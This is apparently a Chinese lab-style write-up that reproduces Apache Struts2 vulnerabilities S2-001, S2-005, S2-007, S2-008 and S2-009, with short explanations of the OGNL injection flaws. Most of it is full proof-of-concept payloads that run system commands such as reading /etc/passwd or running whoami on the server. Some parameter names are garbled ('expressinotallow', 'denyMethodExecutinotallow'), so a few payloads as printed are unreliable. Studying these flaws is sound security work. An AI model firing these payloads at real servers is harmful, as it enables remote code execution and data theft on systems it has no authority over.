Struts2漏洞复现
Struts2是一个基于MVC设计模式的Web应用框架
S2-001
漏洞原理:
后端将用户之前提交的参数使用OGNL表达式%{}进行解析,然后重新填充到对应的表单数据中,例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用%{value}对提交的数据执行了一次OGNL表达式解析,所以可以直接构造payload进行命令执行
OGNL的全称是Object-Graph Navigation Language,即对象图导航语言,它是一种功能强大的开源表达式语言。使用这种表达式语言可以通过某种表达式语法存取Java对象的任意属性,调用Java对象的方法,以及实现类型转行等。
影响版本
验证方法:
在输入框输入%{1+1}判断是否存在s2-001
提交后返回来{}里面的表达式
利用过程:
这里可以直接输入和直接回显。
复制POC到一个输入框点击submit
然后就会把数据提交到后端,后端检测值是否为空,然后返回。
Poc:
获取Web路径:
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
放到输入框里查看回显结果:
执行任意命令:
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}
S2-005
漏洞原理:
s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开
简单理解为编码绕过和进制绕过,同时利用OGNL打开安全配置选项
漏洞利用:
环境打开如下
构建POC:
无回显:
(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1
此poc分为三个部分,执行结果为在tmp文件夹下创建success文件
(1)(’\u0023_memberAccess[‘allowStaticMethodAccess’]’)(vaaa)=true
第一步将_memberAccess变量中的allowStaticMethod设置为true,这里payload还要加括号,并且还带个"(meh)"呢?其实是为了遵守Ognl语法树的规则。第一步完成后,就可以执行静态方法了。
(2)(aaaa)((’\u0023context[‘xwork.MethodAccessor.denyMethodExecution’]\u003d\u0023vccc’)(\u0023vccc\u003dnew java.lang.Boolean(“false”)))
第二步将上下文中的xwork.MethodAccessor.denyMethodExecution设置为false,即允许方法的执行,这里的MehodAccessor是Struts2中规定方法/属性访问策略的类,也存在与Ognl的上下文中。同样遵守Ognl语法树规则。
(3)(asdf)((’\u0023rt.output(“touch@/tmp/success”.split("@"))’)(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
第三步就是真正的攻击代码,前两步就是要保证第三步成功执行,第三步就是执行了关闭服务器的代码。但是要过调用Runtime类的静态方法获取一个Runtime对象。
有回显:
POC:
('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43mycmd\75\'whoami\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))
(1)设置上下文denyMethodExecutinotallow=false 运行方法执行
(2)excludeProperties=@java.util.Collections@EMPTY_SET (@class@调用静态变量)设置外部拦截器为空
(3)mycmd=“whoami” 定义我们的执行命令的变量
(4)myret=@java.lang.Runtime@getRuntime().exec(\43mycmd)’) (调用静态方法执行我们的变量)
(5)mydat=new java.io.DataInputStream(\43myret.getInputStream())’) 获取输入流 (post)
(6)myres=new data[51020];mydat.readfully(myres); 读取输入流
(5,6为了转换输入流的类型)
(7)mystr=new java.lang.String(#myres) ;定义并赋值输入流
(8)myout=org.apache.struts2.ServletActionContext@getResponse() ;得到repsonse的数据
(9)myout.getWriter().println(#mystr) ;把response的数据打印到屏幕上。
也可以利用struts2检测工具
执行命令:
S2-007
漏洞原理:
age参数只能是整数,非整数会导致错误,struts会将用户的输入当成ognl表达式执行,从而导致漏洞
漏洞利用:
在age参数处输入POC:
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())) + '
S2-008
漏洞原理:
对传入参数没有做严格限制,导致多个地方可执行恶意代码,传入?debug=command&expressinotallow= 即可执行OGNL表达式。
漏洞利用:
打开环境:
构建POC:
?debug=command&expressinotallow=%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22whoami%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()
S2-009
漏洞原理:
当前版本的action中接受了某个参数example,这个参数将进入OGNL的上下文,我们可以将将OGNL表达式放入到example参数中,然后使用/HelloWorld.action?example=& (example)(‘xxx’)=1的方法来执行绕过
构造POC:
?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27id%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]